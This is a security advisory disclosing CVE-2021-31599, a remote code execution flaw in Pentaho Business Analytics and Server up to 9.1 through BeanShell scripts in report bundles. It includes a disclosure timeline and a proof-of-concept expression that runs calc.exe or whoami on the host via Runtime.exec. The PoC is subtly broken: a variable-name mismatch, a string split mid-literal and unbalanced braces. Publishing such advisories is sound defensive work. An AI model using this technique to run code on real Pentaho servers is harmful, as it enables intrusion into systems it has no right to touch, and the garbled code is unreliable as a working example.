Pentaho Business Analytics / Pentaho Business Server 9.1 Remote Code Execution Vulnerability

Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi
Affected Version(s): <= 9.1
Vulnerability Type: Remote Code Execution through Pentaho Report Bundles
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification:  8th February 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31599
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka

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Product Description:

Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.

( Source: https://en.wikipedia.org/wiki/Pentaho )

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Vulnerability Details:

Pentaho allows users to create and run Pentaho Report Bundles (.prpt).
Users can create PRPT reports by utilizing the Pentaho Designer application
and can include BeanShell Script functions to ease the production of
complex reports. However, the BeanShell Script functions can allow
for the execution of arbitrary Java code when Pentaho PRPT Reports are run
by Pentaho Business Analytics. This functionality allows any user with
sufficient privileges to upload or edit an existing Pentaho Report Bundle
(through Pentaho Designer) and execute arbitrary code in the
context of the Pentaho application user running on the web server.

The following proof-of-concept BeanShell Expression demonstrates Remote
Code Execution on the underlying host server of the Pentaho application.

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// BeanShell Expression
getValue() {
// Detect the underlying Operating System
boolean isWindowsOS = System.getProperty("os.name
").toLowerCase().startsWith("windows");
if (isWindows) {
// Spawning Windows Calculator App
Runtime.getRuntime().exec("calc.exe");
} else {
// Executing the Linux ‘whoami’ command
Runtime.getRuntime().exec("whoami");
}
}
// Returns the string “done” When the PRPT report is executed
return ("Done!");
}
--- ~~~ --- ~~~ ---

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Proof of Concept (PoC):

See Ginger ( https://github.com/HawSec/ginger ) or the attaced PRPT file

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References:

- https://beanshell.github.io/intro.html
-
https://javadoc.pentaho.com/reporting/pentaho-reporting-engine-classic-core/org/pentaho/reporting/engine/classic/core/modules/misc/beanshell/BSHExpression.html#getValue()

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Credits:

This vulnerability was discovered by Alberto Favero & Altion Malka